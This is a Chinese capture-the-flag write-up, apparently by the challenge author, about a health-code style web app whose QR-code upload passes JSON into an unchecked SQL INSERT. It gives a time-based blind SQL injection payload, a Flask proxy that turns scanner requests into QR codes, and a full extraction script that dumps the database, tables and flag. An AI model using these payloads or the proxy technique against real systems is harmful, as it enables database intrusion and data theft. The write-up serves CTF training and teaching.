大家好,我是北京联合大学-小帽,也是本题的出题人。熟悉我的朋友们知道,平时喜欢做做欢乐杂项休闲休闲,所以这次的题目算是个披着web皮的半Misc。 由于微信小程序的开发简单、操作方便等优势,很多的公司、部门都喜欢制作小程序简化工作流程。在红蓝对抗、渗透测试等等场景,蓝队的信息中心可能会遗漏小程序这一边界(有可能是某个部门自己找外包做的,信息中心根本不知道它的存在)。而在程序开发过程中,开发者很容易信任某些用户输入,例如直接COPY官方文档中对麦克风、摄像头的操作而忘记了对上传的语音、视频检验。
另:复现可能会上BUUOJ,敬请期待。
打开题目就看到了熟悉的健康宝,
先试一下业务,有登录、查健康宝和到访信息登记三个。登录时有提交表单和上传图片,然后在查健康宝的地方可以显示。登录表单看起来没什么破绽;检查html,他并没有想象中的包含,直接给了路径但是文件名被强制改了。
在防疫登记那里,有一些样例二维码,扫描看到是json(是的,这是彩蛋,留了我校目前在使用的8个校区)
扫描目录,在/www.zip得到部分源码(这是个hint,不然怕留的洞有点太脑洞了
在qr.php文件(也就是到访登记)看到用php扫描了刚刚上传的二维码,解json后将其中的id插入进数据库中。这里没有任何检查,进行insert注入即可。
没有回显,这里可以时间盲注。给个payload,(exp脚本在最后)。
1' and (case when (substr((select group_concat(flag) from flag) from 1 for 1 )='f') then sleep(3) else 1 end ),'11');#
渗透测试时遇到这种较复杂的业务,直接上漏扫工具或sql注入工具就不顶用了。之前听了一个好思路,自己写个转换脚本做工具与靶机之间的agent,把接收的攻击请求转换后再发出去。
抛砖引玉,用这个题目写了一个小demo👇。请求a的内容会转化进二维码转发给靶机
import qrcode
from flask import Flask,request,render_template,session,redirect,url_for
from PIL import Image
import requests
app = Flask(__name__)
url='http://127.0.0.1:807/qr.php'
@app.route('/',methods=['GET'])
def myfunc():
if request.method=='GET':
img = qrcode.make('{'+'"id":"{}","name":"1","address":"1","street":"1","phone":"1"'.format(request.args.get("a"))+'}')
img.save('out.png')
files={'file':open('out.png','rb')}
cookies={'PHPSESSID':'ae3ff2f561874eefa103929a9076da9a'}
req=requests.post(url,files=files,cookies=cookies)
#req=requests.get(url,params=request.args)
return req.text
#return request.args.get("a")
app.run(host='0.0.0.0')
用xray扫描http://10.12.104.60:5000/?a=1 发现sql注入漏洞
# -*- coding: utf-8 -*-
import qrcode
from PIL import Image
import string
import requests
import time
import sys
session=requests.session()
uu='http://127.0.0.1:807'
url=uu+'/index.php'
data={'xm':'有','sfzh':'111222333344445555','sjh':'13811111111'}
files={'file':open('out.png','rb')}
req=session.post(url,data=data,files=files)
flag=''
def run(pay):
flag=''
for i in range(1,20):
for j in string.lowercase+string.digits+',{}-_ ':
payload=pay+" from {} for 1 )='{}') then sleep(3) else 1 end ),'11');#"
payload=payload.format(i,j)
img = qrcode.make('{'+'"id":"{}","name":"1","address":"1","street":"1","phone":"1"'.format(payload)+'}')
img.save('out.png')
url=uu+'/qr.php'
files={'file':open('out.png','rb')}
time1=time.time()
session.post(url,files=files)
time2=time.time()-time1
if time2>2.5:
flag+=j
print(flag)
break
if flag[-1]==' ':
break
run("1' and (case when (substr((database())")
run("1' and (case when (substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='jkb')")
run("1' and (case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag')")
run("1' and (case when (substr((select group_concat(flag) from flag)")
爆库名 表名等都是常规操作,得到flag
本文作者:小帽
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/141956.html